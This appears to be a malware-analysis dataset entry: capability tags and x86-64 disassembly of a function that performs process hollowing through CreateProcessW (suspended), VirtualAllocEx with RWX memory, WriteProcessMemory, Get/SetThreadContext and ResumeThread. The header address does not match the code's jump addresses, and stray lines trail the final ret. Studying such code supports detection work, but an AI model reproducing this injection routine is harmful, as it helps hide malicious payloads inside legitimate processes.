Function at 0x1400b2f20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
movsxd rbx, dword [r12 + 0x3c]
add rbx, r12
cmp dword [rbx], 0x4550
jne 0x140001fe6
lea rax, [rbp - 0x49]
mov ecx, 0x68
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
mov byte [rax], dil
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
sub rcx, 1
jne 0x140001e01
lea rax, [rbp - 0x69]
mov ecx, 0x18
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
mov byte [rax], dil
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
sub rcx, 1
jne 0x140001e26
lea rax, [rbp - 0x69]
mov dword [rbp - 0x49], 0x68
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x49]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rdi
mov rcx, r10
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001fe2
mov r8d, dword [rbx + 0x50]
lea rsi, [rbx + 0x30]
mov rdx, qword [rsi]
mov r9d, 0x3000
mov rcx, qword [rbp - 0x69]
mov r13d, dword [rbp - 0x59]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140001fbf
mov r9d, dword [rbx + 0x54]
mov r8, r12
mov rcx, qword [rbp - 0x69]
mov rdx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001fbf
xor ecx, ecx
cmp cx, word [rbx + 6]
jae 0x140001f2a
mov esi, ecx
movzx eax, word [rbx + 0x14]
add rax, rsi
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x69]
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r12
mov r9d, dword [rax + rbx + 0x28]
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
test eax, eax
je 0x140001fbd
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140001ee4
lea rsi, [rbx + 0x30]
xor ecx, ecx
mov edx, 0x4d0
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140001fbd
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001fbd
mov rdx, qword [rdi + 0x88]
mov r9d, 8
mov rcx, qword [rbp - 0x69]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001fbd
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r14
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
xor edi, edi
test eax, eax
je 0x140001fbf
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140001fbf
lea eax, [rdi + 1]
jmp 0x140001ff5
xor edi, edi
test r13d, r13d
je 0x140001fe2
xor edx, edx
mov r8d, r13d
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140001fe2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r10, qword [rbp + 0x67]
inc r15d
cmp r15d, 5
jb 0x140001de0
xor eax, eax
mov rbx, qword [rsp + 0x128]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
push rbx
mov rbx, rdx
jl 0x140001f3b
call fcn.1400e4371